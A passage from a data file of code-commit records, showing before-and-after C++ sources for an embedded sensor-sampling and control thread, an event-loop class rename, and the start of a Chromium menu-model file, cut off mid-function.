argc, char const * argv[]) {\n  cout << \"Parsing connection string\" << endl;\n  \/\/table_cache.init (storage_connection_string);\n\n  cout << \"Opening listener\" << endl;\n  http_listener listener {def_url};\n  listener.support(methods::POST, &handle_post); \/\/ Push a status update to friends\n  listener.open().wait();\n\n  cout << \"Enter carriage return to stop server.\" << endl;\n  string line;\n  getline(std::cin, line);\n\n  \/\/ Shut it down\n  listener.close().wait();\n  cout << \"Closed\" << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstring>\n\n#include \"SampleAndControl.h\"\n#include \"chprintf.h\"\n\n#include \"MPU6050.h\"\n#include \"RearWheel.h\"\n#include \"YawRateController.h\"\n\nSampleAndControl::SampleAndControl()\n  : tp_control(0), tp_write(0)\n{\n}\n\nvoid SampleAndControl::controlThread()\n{\n  chRegSetThreadName(\"Control\");\n  FRESULT res;\n  msg_t msg;\n\n  res = f_open(&f_, filename_, FA_CREATE_ALWAYS | FA_WRITE);\n  if (res != FR_OK) {\n    chSysHalt(); while (1) {}   \/\/ couldn't properly open the file!\n  }\n\n  uint32_t i = 0;\n  for (; i < NUMBER_OF_SAMPLES; ++i)\n    clearSample(samples[i]);\n\n  MPU6050 & imu = MPU6050::Instance();\n  imu.Initialize(&I2CD2);\n\n  RearWheel & rw = RearWheel::Instance();\n  rw.Reset();\n  rw.turnOn();\n  YawRateController & yc = YawRateController::Instance();\n  yc.Reset();\n  yc.turnOn();\n\n  \/\/ zero out wheel encoders and system timer\n  STM32_TIM4->CNT = STM32_TIM5->CNT = STM32_TIM8->CNT = 0;\n  bool data = false;                \/\/ flag to indicate we have data to write\n  uint32_t write_errors = 0;\n  \/\/uint32_t rw_fault_count = 0;\n  \/\/uint32_t steer_fault_count = 0;\n\n  systime_t time = chTimeNow();     \/\/ Initial time\n  for (uint32_t i = 0; !chThdShouldTerminate(); ++i) {\n    time += MS2ST(con::T_ms);       \/\/ Next deadline\n\n    \/\/ Get a sample to populate\n    Sample & s = samples[i % NUMBER_OF_SAMPLES];\n\n    \/\/ Begin data collection\n    sampleTimers(s);  \/\/ sample system time\/encoder counts\/PWM duty cycle\n    imu.Acquire(s);   \/\/ sample rate gyro, accelerometer and temperature sensors\n    \/\/ sampleStates(s);  \/\/ sample various system states\n    state_ = sampleSystemState() | Sample::CollectionEnabled;\n\n    s.RearWheelRate_sp = rw.RateCommanded();\n    s.YawRate_sp = yc.RateCommanded();\n    \/\/ End data collection\n\n    \/\/ Begin control\n    if (rw.isEnabled() & (i % con::RW_N == 0))\n      rw.Update(s.SystemTime, s.RearWheelAngle);\n\n    if (yc.isEnabled() & (i % con::YC_N == 0))\n      yc.Update(s);\n    \/\/ End control\n    \n    \/\/ Begin data logging\n    if (data && (i % (NUMBER_OF_SAMPLES\/2) == 0)) {\n      msg_t buffer;\n      if ((i \/ (NUMBER_OF_SAMPLES\/2)) & 1) {  \/\/ i is an odd multiple NUMBER_OF_SAMPLES\/2  (64, 192, 320, ...)\n        buffer = reinterpret_cast<msg_t>(samples);   \/\/ log data in samples[0:63]\n      } else {  \/\/ i is an even multiple of NUMBER_OF_SAMPLES\/2 (0, 128, 256, ...)\n        buffer = reinterpret_cast<msg_t>(samples + (NUMBER_OF_SAMPLES\/2)); \/\/ log data in samples[63:127]\n      }\n      state_ |= Sample::FileSystemWriteTriggered;\n      msg = chMsgSend(tp_write, buffer);\n      if (static_cast<FRESULT>(msg) != FR_OK) {\n        ++write_errors;\n      }\n    }\n    \/\/ End data logging \n\n    data = true;\n\n    \/\/ Save system state;\n    state_ &= ~(Sample::CollectionEnabled | Sample::FileSystemWriteTriggered);\n    s.SystemState = state_;\n    \/\/ Measure computation time\n    s.ComputationTime = STM32_TIM5->CNT - s.SystemTime;\n    \/\/ Go to sleep until next 5ms interval\n    chThdSleepUntil(time);\n  } \/\/ for i @ 200Hz\n  \n  \/\/ Clean up\n  imu.DeInitialize();\n  rw.turnOff();\n  yc.turnOff();\n  rw.Reset();\n  yc.Reset();\n  \/\/ End cleanup\n\n  msg = chMsgSend(tp_write, 0); \/\/ send a message to end the write thread.\n  if (static_cast<FRESULT>(msg) != FR_OK) {\n    ++write_errors;\n  }\n\n  while (tp_write) {\n    chThdYield();           \/\/ yield this time slot so write thread can finish\n  }\n\n  \/\/ Write remaing samples in partially filled buffer.\n  {\n    uint32_t j = i % NUMBER_OF_SAMPLES;   \/\/ j \\in [0, NUMBER_OF_SAMPLES)\n    uint8_t * b;\n    UINT bytes;\n    if (j > (NUMBER_OF_SAMPLES\/2 - 1)) {  \/\/ j \\in [NUMBER_OF_SAMPLES\/2, NUMBER_OF_SAMPLES)\n      b = reinterpret_cast<uint8_t *>(samples + NUMBER_OF_SAMPLES\/2);\n      j %= NUMBER_OF_SAMPLES\/2;\n    } else {\n      b = reinterpret_cast<uint8_t *>(samples);\n    }\n    if (j) { \/\/ there are samples to write\n      res = f_write(&f_, b, sizeof(Sample)*j, &bytes);\n    }\n    if (res != FR_OK)\n      ++write_errors;\n  }\n\n  f_close(&f_);           \/\/ close the file\n  for (int i = 0; i < 24; ++i) \/\/ clear the filename\n    filename_[i] = 0;       \/\/ clear the filename\n\n  chThdExit(write_errors);\n}\n\n\/\/ Caller: Shell thread\nvoid SampleAndControl::shellcmd(BaseSequentialStream *chp, int argc, char *argv[] __attribute__((unused)))\n{\n  if (argc == 0) {         \/\/ Start\/Stop data collection, default filename\n    if (tp_control) {      \/\/ Data collection enabled\n      msg_t m = Stop();    \/\/ Stop it\n      chprintf(chp, \"Data collection and control terminated with %d errors.\\r\\n\", m);\n    } else {               \/\/ Data collecton disabled\n      msg_t m = Start(\"samples.dat\");\/\/ Start data collection to default file \"samples.dat\"\n      if (m == 0) {\n        chprintf(chp, \"Data collection and control initiated.\\r\\n\");\n      } else {\n        chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n      }\n    }\n  } else if (argc == 1) { \/\/ Start\/Stop data collection, with filename\n    if (tp_control) {     \/\/ Data collection enabled\n      msg_t m = Stop();   \/\/ Stop it, ignoring the argument\n      chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n    } else {              \/\/ Data collection is disabled\n      msg_t m = Start(argv[0]);\/\/ Start data collection to file in argv[0]\n      if (m == 0) {\n        chprintf(chp, \"Data collection and control initiated.\\r\\n\");\n      } else {\n        chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n      }\n    }\n  } else {\n    chprintf(chp, \"Invalid usage.\\r\\n\");\n  }\n}\n\n\/\/void SampleAndControl::setFilename(const char * name)\n\/\/{\n\/\/  std::strcpy(Filename_, name);\n\/\/}\n\n\n\/\/    Sample & s = sb.CurrentSample();\n\/\/    uint32_t state = 0;\n\/\/    \n\/\/    s.SystemTime = STM32_TIM5->CNT;\n\n    \n    \/\/ Get rear wheel angle and rear wheel rotation direction\n    \/\/ s.RearWheelAngle = rw.QuadratureCount();\n    \/\/ state |= rw.RotationDir() | rw.CurrentDir();\n\n\n\/\/    s.FrontWheelAngle = STM32_TIM4->CNT;\n\/\/    s.SteerAngle = STM32_TIM3->CNT;\n\/\/\n\/\/    s.RearWheelRate_sp = rw.RateCommanded();\n    \/\/ s.YawRate_sp = yc.RateCommanded();\n\n    \/\/ Compute new speed control action if controller is enabled.\n    \/\/ if (rw.isEnabled()) {\n\/\/      state |= Sample::RearWheelMotorEnable;\n\/\/      if (i % con::RW_N == 0) {    \/\/ only update control law every RW_N times\n\/\/        rw.Update(s.SystemTime, s.RearWheelAngle);\n\/\/      }\n\/\/     }\n\n    \/\/ Compute new steer control action if yaw controller is enabled.\n    \/\/if (yc.isEnabled()) {\n    \/\/  state |= Sample::YawRateControl;\n    \/\/  yc.Update(s);\n    \/\/}\n\n\/\/    s.CCR_rw = rw.PWM_CCR();\n    \/\/s.CCR_steer = yc.PWM_CCR();\n\n    \/\/ Check for motor faults\n\/\/    if (rw.hasFault()) {\n\/\/      state |= Sample::HubMotorFault;\n\/\/      ++rw_fault_count;\n\/\/      if (rw_fault_count > 10)  \/\/ debounce\n\/\/        break;\n\/\/    } else {\n\/\/      rw_fault_count = 0;\n\/\/    }\n\/\/    \n\/\/    if (yc.hasFault()) {\n\/\/      state |= Sample::SteerMotorFault;\n\/\/      ++steer_fault_count;\n\/\/      if (steer_fault_count > 10)  \/\/ debounce\n\/\/        break;\n\/\/    } else {\n\/\/      steer_fault_count = 0;\n\/\/    }\n\n\/\/    s.SystemState = state;\n  \/\/ sb.Reset();  \/\/ Throw away the data in the partially filled front buffer\n  \/\/ rw.turnOff();\n  \/\/ yc.turnOff();\n\nvoid SampleAndControl::writeThread()\n{\n  UINT bytes;\n  msg_t m = -1;\n  FRESULT res = FR_OK;\n  uint8_t *b;\n\n  while (1) {\n    Thread * calling_thread = chMsgWait();\n    m = chMsgGet(calling_thread);\n    chMsgRelease(calling_thread, res);\n\n    if (m == 0) break;\n\n    b = reinterpret_cast<uint8_t *>(m);\n\n    res = f_write(&f_, b, sizeof(Sample)*NUMBER_OF_SAMPLES\/2, &bytes);\n  }\n  tp_write = 0;\n  chThdExit(0);\n}\n\nmsg_t SampleAndControl::Start(const char * filename)\n{\n  msg_t m = 0;\n  std::strcpy(filename_, filename);   \/\/ save the filename\n  tp_write = chThdCreateStatic(SampleAndControl::waWriteThread,\n                          sizeof(waWriteThread),\n                          NORMALPRIO,\n                          reinterpret_cast<tfunc_t>(writeThread_),\n                          0);\n  if (!tp_write) {\n    m = (1 << 0);\n  }\n  tp_control = chThdCreateStatic(SampleAndControl::waControlThread,\n                          sizeof(waControlThread),\n                          NORMALPRIO,\n                          reinterpret_cast<tfunc_t>(controlThread_),\n                          0);\n  if (!tp_control) {\n    m |= (1 << 1);\n  }\n\n  return m;\n}\n\n<commit_msg>Fixed misplaced index counter.<commit_after>#include <cstring>\n\n#include \"SampleAndControl.h\"\n#include \"chprintf.h\"\n\n#include \"MPU6050.h\"\n#include \"RearWheel.h\"\n#include \"YawRateController.h\"\n\nSampleAndControl::SampleAndControl()\n  : tp_control(0), tp_write(0), state_(0)\n{\n}\n\nvoid SampleAndControl::controlThread()\n{\n  chRegSetThreadName(\"Control\");\n  FRESULT res;\n  msg_t msg;\n\n  res = f_open(&f_, filename_, FA_CREATE_ALWAYS | FA_WRITE);\n  if (res != FR_OK) {\n    chSysHalt(); while (1) {}   \/\/ couldn't properly open the file!\n  }\n\n  for (uint32_t i = 0; i < NUMBER_OF_SAMPLES; ++i)\n    clearSample(samples[i]);\n\n  MPU6050 & imu = MPU6050::Instance();\n  imu.Initialize(&I2CD2);\n\n  RearWheel & rw = RearWheel::Instance();\n  rw.Reset();\n  rw.turnOn();\n  YawRateController & yc = YawRateController::Instance();\n  yc.Reset();\n  yc.turnOn();\n\n  \/\/ zero out wheel encoders and system timer\n  STM32_TIM4->CNT = STM32_TIM5->CNT = STM32_TIM8->CNT = 0;\n  bool data = false;                \/\/ flag to indicate we have data to write\n  uint32_t write_errors = 0;\n  \/\/uint32_t rw_fault_count = 0;\n  \/\/uint32_t steer_fault_count = 0;\n\n  systime_t time = chTimeNow();     \/\/ Initial time\n  uint32_t i;\n  for (i = 0; !chThdShouldTerminate(); ++i) {\n    time += MS2ST(con::T_ms);       \/\/ Next deadline\n\n    \/\/ Get a sample to populate\n    Sample & s = samples[i % NUMBER_OF_SAMPLES];\n\n    \/\/ Begin data collection\n    sampleTimers(s);  \/\/ sample system time\/encoder counts\/PWM duty cycle\n    imu.Acquire(s);   \/\/ sample rate gyro, accelerometer and temperature sensors\n    \/\/ sampleStates(s);  \/\/ sample various system states\n    state_ = sampleSystemState() | Sample::CollectionEnabled;\n\n    s.RearWheelRate_sp = rw.RateCommanded();\n    s.YawRate_sp = yc.RateCommanded();\n    \/\/ End data collection\n\n    \/\/ Begin control\n    if (rw.isEnabled() & (i % con::RW_N == 0))\n      rw.Update(s.SystemTime, s.RearWheelAngle);\n\n    if (yc.isEnabled() & (i % con::YC_N == 0))\n      yc.Update(s);\n    \/\/ End control\n    \n    \/\/ Begin data logging\n    if (data && (i % (NUMBER_OF_SAMPLES\/2) == 0)) {\n      msg_t buffer;\n      if ((i \/ (NUMBER_OF_SAMPLES\/2)) & 1) {  \/\/ i is an odd multiple NUMBER_OF_SAMPLES\/2  (64, 192, 320, ...)\n        buffer = reinterpret_cast<msg_t>(samples);   \/\/ log data in samples[0:63]\n      } else {  \/\/ i is an even multiple of NUMBER_OF_SAMPLES\/2 (0, 128, 256, ...)\n        buffer = reinterpret_cast<msg_t>(samples + (NUMBER_OF_SAMPLES\/2)); \/\/ log data in samples[63:127]\n      }\n      state_ |= Sample::FileSystemWriteTriggered;\n      msg = chMsgSend(tp_write, buffer);\n      if (static_cast<FRESULT>(msg) != FR_OK) {\n        ++write_errors;\n      }\n    }\n    \/\/ End data logging \n\n    data = true;\n\n    \/\/ Save system state;\n    state_ &= ~(Sample::CollectionEnabled | Sample::FileSystemWriteTriggered);\n    s.SystemState = state_;\n    \/\/ Measure computation time\n    s.ComputationTime = STM32_TIM5->CNT - s.SystemTime;\n    \/\/ Go to sleep until next 5ms interval\n    chThdSleepUntil(time);\n  } \/\/ for i @ 200Hz\n  \n  \/\/ Clean up\n  imu.DeInitialize();\n  rw.turnOff();\n  yc.turnOff();\n  rw.Reset();\n  yc.Reset();\n  \/\/ End cleanup\n\n  msg = chMsgSend(tp_write, 0); \/\/ send a message to end the write thread.\n  if (static_cast<FRESULT>(msg) != FR_OK) {\n    ++write_errors;\n  }\n\n  while (tp_write) {\n    chThdYield();           \/\/ yield this time slot so write thread can finish\n  }\n\n  \/\/ Write remaing samples in partially filled buffer.\n  {\n    uint32_t j = i % NUMBER_OF_SAMPLES;   \/\/ j \\in [0, NUMBER_OF_SAMPLES)\n    uint8_t * b;\n    UINT bytes;\n    if (j > (NUMBER_OF_SAMPLES\/2 - 1)) {  \/\/ j \\in [NUMBER_OF_SAMPLES\/2, NUMBER_OF_SAMPLES)\n      b = reinterpret_cast<uint8_t *>(samples + NUMBER_OF_SAMPLES\/2);\n      j %= NUMBER_OF_SAMPLES\/2;\n    } else {                              \/\/ j \\in [0, NUMBER_OF_SAMPLES\/2)\n      b = reinterpret_cast<uint8_t *>(samples);\n    }\n    if (j) { \/\/ there are samples to write\n      res = f_write(&f_, b, sizeof(Sample)*j, &bytes);\n    }\n    if (res != FR_OK)\n      ++write_errors;\n  }\n\n  f_close(&f_);           \/\/ close the file\n  for (int i = 0; i < 24; ++i) \/\/ clear the filename\n    filename_[i] = 0;       \/\/ clear the filename\n\n  chThdExit(write_errors);\n}\n\n\/\/ Caller: Shell thread\nvoid SampleAndControl::shellcmd(BaseSequentialStream *chp, int argc, char *argv[] __attribute__((unused)))\n{\n  if (argc == 0) {         \/\/ Start\/Stop data collection, default filename\n    if (tp_control) {      \/\/ Data collection enabled\n      msg_t m = Stop();    \/\/ Stop it\n      chprintf(chp, \"Data collection and control terminated with %d errors.\\r\\n\", m);\n    } else {               \/\/ Data collecton disabled\n      msg_t m = Start(\"samples.dat\");\/\/ Start data collection to default file \"samples.dat\"\n      if (m == 0) {\n        chprintf(chp, \"Data collection and control initiated.\\r\\n\");\n      } else {\n        chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n      }\n    }\n  } else if (argc == 1) { \/\/ Start\/Stop data collection, with filename\n    if (tp_control) {     \/\/ Data collection enabled\n      msg_t m = Stop();   \/\/ Stop it, ignoring the argument\n      chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n    } else {              \/\/ Data collection is disabled\n      msg_t m = Start(argv[0]);\/\/ Start data collection to file in argv[0]\n      if (m == 0) {\n        chprintf(chp, \"Data collection and control initiated.\\r\\n\");\n      } else {\n        chprintf(chp, \"Errors starting threads with error:  %d.\\r\\n\", m);\n      }\n    }\n  } else {\n    chprintf(chp, \"Invalid usage.\\r\\n\");\n  }\n}\n\n\/\/void SampleAndControl::setFilename(const char * name)\n\/\/{\n\/\/  std::strcpy(Filename_, name);\n\/\/}\n\n\n\/\/    Sample & s = sb.CurrentSample();\n\/\/    uint32_t state = 0;\n\/\/    \n\/\/    s.SystemTime = STM32_TIM5->CNT;\n\n    \n    \/\/ Get rear wheel angle and rear wheel rotation direction\n    \/\/ s.RearWheelAngle = rw.QuadratureCount();\n    \/\/ state |= rw.RotationDir() | rw.CurrentDir();\n\n\n\/\/    s.FrontWheelAngle = STM32_TIM4->CNT;\n\/\/    s.SteerAngle = STM32_TIM3->CNT;\n\/\/\n\/\/    s.RearWheelRate_sp = rw.RateCommanded();\n    \/\/ s.YawRate_sp = yc.RateCommanded();\n\n    \/\/ Compute new speed control action if controller is enabled.\n    \/\/ if (rw.isEnabled()) {\n\/\/      state |= Sample::RearWheelMotorEnable;\n\/\/      if (i % con::RW_N == 0) {    \/\/ only update control law every RW_N times\n\/\/        rw.Update(s.SystemTime, s.RearWheelAngle);\n\/\/      }\n\/\/     }\n\n    \/\/ Compute new steer control action if yaw controller is enabled.\n    \/\/if (yc.isEnabled()) {\n    \/\/  state |= Sample::YawRateControl;\n    \/\/  yc.Update(s);\n    \/\/}\n\n\/\/    s.CCR_rw = rw.PWM_CCR();\n    \/\/s.CCR_steer = yc.PWM_CCR();\n\n    \/\/ Check for motor faults\n\/\/    if (rw.hasFault()) {\n\/\/      state |= Sample::HubMotorFault;\n\/\/      ++rw_fault_count;\n\/\/      if (rw_fault_count > 10)  \/\/ debounce\n\/\/        break;\n\/\/    } else {\n\/\/      rw_fault_count = 0;\n\/\/    }\n\/\/    \n\/\/    if (yc.hasFault()) {\n\/\/      state |= Sample::SteerMotorFault;\n\/\/      ++steer_fault_count;\n\/\/      if (steer_fault_count > 10)  \/\/ debounce\n\/\/        break;\n\/\/    } else {\n\/\/      steer_fault_count = 0;\n\/\/    }\n\n\/\/    s.SystemState = state;\n  \/\/ sb.Reset();  \/\/ Throw away the data in the partially filled front buffer\n  \/\/ rw.turnOff();\n  \/\/ yc.turnOff();\n\nvoid SampleAndControl::writeThread()\n{\n  UINT bytes;\n  msg_t m = -1;\n  FRESULT res = FR_OK;\n  uint8_t *b;\n\n  while (1) {\n    Thread * calling_thread = chMsgWait();\n    m = chMsgGet(calling_thread);\n    chMsgRelease(calling_thread, res);\n\n    if (m == 0) break;\n\n    b = reinterpret_cast<uint8_t *>(m);\n\n    res = f_write(&f_, b, sizeof(Sample)*NUMBER_OF_SAMPLES\/2, &bytes);\n  }\n  tp_write = 0;\n  chThdExit(0);\n}\n\nmsg_t SampleAndControl::Start(const char * filename)\n{\n  msg_t m = 0;\n  std::strcpy(filename_, filename);   \/\/ save the filename\n  tp_write = chThdCreateStatic(SampleAndControl::waWriteThread,\n                          sizeof(waWriteThread),\n                          NORMALPRIO,\n                          reinterpret_cast<tfunc_t>(writeThread_),\n                          0);\n  if (!tp_write) {\n    m = (1 << 0);\n  }\n  tp_control = chThdCreateStatic(SampleAndControl::waControlThread,\n                          sizeof(waControlThread),\n                          NORMALPRIO,\n                          reinterpret_cast<tfunc_t>(controlThread_),\n                          0);\n  if (!tp_control) {\n    m |= (1 << 1);\n  }\n\n  return m;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"REventLoop.h\"\n#include \"RThread.h\"\n\nstatic std::list<REventLoop *>\nsThreadEventLoops;\n\nREventLoop::REventLoop() : mReturnCode(0), mIsInterrupt(false)\n{\n}\n\nREventLoop::~REventLoop()\n{\n  clear();\n}\n\nint\nREventLoop::exec()\n{\n  while(true)\n  {\n    RThread::yieldCurrentThread();\n\n    if(!processEvents())\n    {\n      clear();\n      return mReturnCode;\n    }\n\n    \/\/ TODO: Only check timers on idle.\n  }\n}\n\nvoid\nREventLoop::exit(int returnCode)\n{\n  taskENTER_CRITICAL();\n  mReturnCode  = returnCode;\n  mIsInterrupt = true;\n  taskEXIT_CRITICAL();\n}\n\nvoid\nREventLoop::quit()\n{\n  exit(0);\n}\n\nbool\nREventLoop::processEvents()\n{\n  bool result = true;\n\n  while(!mEvents.empty())\n  {\n    auto eventData = mEvents.front();\n    mEvents.pop_front();\n\n    eventData.receiver->event(eventData.event);\n\n    \/\/ Free the posted event\n    delete eventData.event;\n\n    if(mIsInterrupt)\n    {\n      result = false;\n      goto LABEL_EXIT;\n    }\n  }\n\nLABEL_EXIT:\n\n  \/\/ TODO: Free all objects that marked as deleteLater\n\n  return result;\n}\n\nREventLoop *\nREventLoop::instance(const RThread *inThread)\n{\n  for(auto it = sThreadEventLoops.begin(); it != sThreadEventLoops.end(); ++it)\n  {\n    if(inThread == (*it)->thread())\n    {\n      return *it;\n    }\n  }\n\n  \/\/ FIXME: Memory leaking without free!\n  REventLoop *loop = new REventLoop();\n\n  \/\/ FIXME: Thread event loops should be protected by mutexs.\n  sThreadEventLoops.push_back(loop);\n\n  return loop;\n}\n\nREventLoop *\nREventLoop::instance()\n{\n  return instance(RThread::currentThread());\n}\n\nvoid\nREventLoop::_destroy(const RThread *inThread)\n{\n  for(auto it = sThreadEventLoops.begin(); it != sThreadEventLoops.end(); ++it)\n  {\n    if(inThread == (*it)->thread())\n    {\n      sThreadEventLoops.erase(it);\n      return;\n    }\n  }\n}\n\nvoid\nREventLoop::postEvent(RObject *receiver, REvent *event)\n{\n  mEvents.push_back(EventData(receiver, event));\n}\n\nvoid\nREventLoop::clear()\n{\n  for(auto it = mEvents.begin(); it != mEvents.end(); ++it)\n  {\n    delete it->event;\n  }\n\n  mEvents.clear();\n}\n\nbool\nREventLoop::hasPendingEvents()\n{\n  return !mEvents.empty();\n}\n<commit_msg>Shorten static variant name \"sThreadEventLoops\" as \"sEventLoops\"<commit_after>#include \"REventLoop.h\"\n#include \"RThread.h\"\n\nstatic std::list<REventLoop *>\nsEventLoops;\n\nREventLoop::REventLoop() : mReturnCode(0), mIsInterrupt(false)\n{\n}\n\nREventLoop::~REventLoop()\n{\n  clear();\n}\n\nint\nREventLoop::exec()\n{\n  while(true)\n  {\n    RThread::yieldCurrentThread();\n\n    if(!processEvents())\n    {\n      clear();\n      return mReturnCode;\n    }\n\n    \/\/ TODO: Only check timers on idle.\n  }\n}\n\nvoid\nREventLoop::exit(int returnCode)\n{\n  taskENTER_CRITICAL();\n  mReturnCode  = returnCode;\n  mIsInterrupt = true;\n  taskEXIT_CRITICAL();\n}\n\nvoid\nREventLoop::quit()\n{\n  exit(0);\n}\n\nbool\nREventLoop::processEvents()\n{\n  bool result = true;\n\n  while(!mEvents.empty())\n  {\n    auto eventData = mEvents.front();\n    mEvents.pop_front();\n\n    eventData.receiver->event(eventData.event);\n\n    \/\/ Free the posted event\n    delete eventData.event;\n\n    if(mIsInterrupt)\n    {\n      result = false;\n      goto LABEL_EXIT;\n    }\n  }\n\nLABEL_EXIT:\n\n  \/\/ TODO: Free all objects that marked as deleteLater\n\n  return result;\n}\n\nREventLoop *\nREventLoop::instance(const RThread *inThread)\n{\n  for(auto it = sEventLoops.begin(); it != sEventLoops.end(); ++it)\n  {\n    if(inThread == (*it)->thread())\n    {\n      return *it;\n    }\n  }\n\n  \/\/ FIXME: Memory leaking without free!\n  REventLoop *loop = new REventLoop();\n\n  \/\/ FIXME: Thread event loops should be protected by mutexs.\n  sEventLoops.push_back(loop);\n\n  return loop;\n}\n\nREventLoop *\nREventLoop::instance()\n{\n  return instance(RThread::currentThread());\n}\n\nvoid\nREventLoop::_destroy(const RThread *inThread)\n{\n  for(auto it = sEventLoops.begin(); it != sEventLoops.end(); ++it)\n  {\n    if(inThread == (*it)->thread())\n    {\n      sEventLoops.erase(it);\n      return;\n    }\n  }\n}\n\nvoid\nREventLoop::postEvent(RObject *receiver, REvent *event)\n{\n  mEvents.push_back(EventData(receiver, event));\n}\n\nvoid\nREventLoop::clear()\n{\n  for(auto it = mEvents.begin(); it != mEvents.end(); ++it)\n  {\n    delete it->event;\n  }\n\n  mEvents.clear();\n}\n\nbool\nREventLoop::hasPendingEvents()\n{\n  return !mEvents.empty();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/base\/models\/simple_menu_model.h\"\n\n#include \"base\/message_loop.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\nnamespace ui {\n\nconst int kSeparatorId = -1;\n\n\/\/ The instance is alive.\nstatic const uint32 kMagicIdAlive = 0xCa11ab1e;\n\n  \/\/ The instance has been deleted.\nstatic const uint32 kMagicIdDead = 0xDECEA5ED;\n\nstruct SimpleMenuModel::Item {\n\n\/\/ TODO(sky): Remove this when done investigating 95851.\n#if defined(COMPILER_MSVC)\n#pragma optimize(\"\", off)\nMSVC_PUSH_DISABLE_WARNING(4748)\n#endif\n\n  ~Item() {\n    CHECK_EQ(magic_id, kMagicIdAlive);\n    magic_id = kMagicIdDead;\n  }\n\n#if defined(COMPILER_MSVC)\nMSVC_POP_WARNING()\n#pragma optimize(\"\", on)\n#endif\n\n  int command_id;\n  string16 label;\n  SkBitmap icon;\n  ItemType type;\n  int group_id;\n  MenuModel* submenu;\n  ButtonMenuItemModel* button_model;\n  uint32 magic_id;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel::Delegate, public:\n\nbool SimpleMenuModel::Delegate::IsCommandIdVisible(int command_id) const {\n  return true;\n}\n\nbool SimpleMenuModel::Delegate::IsItemForCommandIdDynamic(\n    int command_id) const {\n  return false;\n}\n\nstring16 SimpleMenuModel::Delegate::GetLabelForCommandId(int command_id) const {\n  return string16();\n}\n\nbool SimpleMenuModel::Delegate::GetIconForCommandId(\n    int command_id, SkBitmap* bitmap) const {\n  return false;\n}\n\nvoid SimpleMenuModel::Delegate::CommandIdHighlighted(int command_id) {\n}\n\nvoid SimpleMenuModel::Delegate::ExecuteCommand(\n    int command_id, int event_flags) {\n  ExecuteCommand(command_id);\n}\n\nvoid SimpleMenuModel::Delegate::MenuWillShow(SimpleMenuModel* \/*source*\/) {\n}\n\nvoid SimpleMenuModel::Delegate::MenuClosed(SimpleMenuModel* \/*source*\/) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, public:\n\nSimpleMenuModel::SimpleMenuModel(Delegate* delegate)\n    : delegate_(delegate),\n      menu_model_delegate_(NULL),\n      ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n}\n\nSimpleMenuModel::~SimpleMenuModel() {\n  for (size_t i = 0; i < items_.size(); ++i)\n    CHECK_EQ(kMagicIdAlive, items_[i].magic_id) << i;\n}\n\nvoid SimpleMenuModel::AddItem(int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_COMMAND, -1, NULL, NULL,\n                kMagicIdAlive};\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddItemWithStringId(int command_id, int string_id) {\n  AddItem(command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::AddSeparator() {\n  Item item = { kSeparatorId, string16(), SkBitmap(), TYPE_SEPARATOR, -1,\n                NULL, NULL, kMagicIdAlive };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddCheckItem(int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_CHECK, -1, NULL,\n                NULL, kMagicIdAlive };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddCheckItemWithStringId(int command_id, int string_id) {\n  AddCheckItem(command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::AddRadioItem(int command_id, const string16& label,\n                                   int group_id) {\n  Item item = { command_id, label, SkBitmap(), TYPE_RADIO, group_id, NULL,\n                NULL, kMagicIdAlive };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddRadioItemWithStringId(int command_id, int string_id,\n                                               int group_id) {\n  AddRadioItem(command_id, l10n_util::GetStringUTF16(string_id), group_id);\n}\n\nvoid SimpleMenuModel::AddButtonItem(int command_id,\n                                    ButtonMenuItemModel* model) {\n  Item item = { command_id, string16(), SkBitmap(), TYPE_BUTTON_ITEM, -1, NULL,\n                model, kMagicIdAlive };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddSubMenu(int command_id, const string16& label,\n                                 MenuModel* model) {\n  Item item = { command_id, label, SkBitmap(), TYPE_SUBMENU, -1, model, NULL,\n                kMagicIdAlive };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddSubMenuWithStringId(int command_id,\n                                             int string_id, MenuModel* model) {\n  AddSubMenu(command_id, l10n_util::GetStringUTF16(string_id), model);\n}\n\nvoid SimpleMenuModel::InsertItemAt(\n    int index, int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_COMMAND, -1, NULL, NULL,\n                kMagicIdAlive };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertItemWithStringIdAt(\n    int index, int command_id, int string_id) {\n  InsertItemAt(index, command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::InsertSeparatorAt(int index) {\n  Item item = { kSeparatorId, string16(), SkBitmap(), 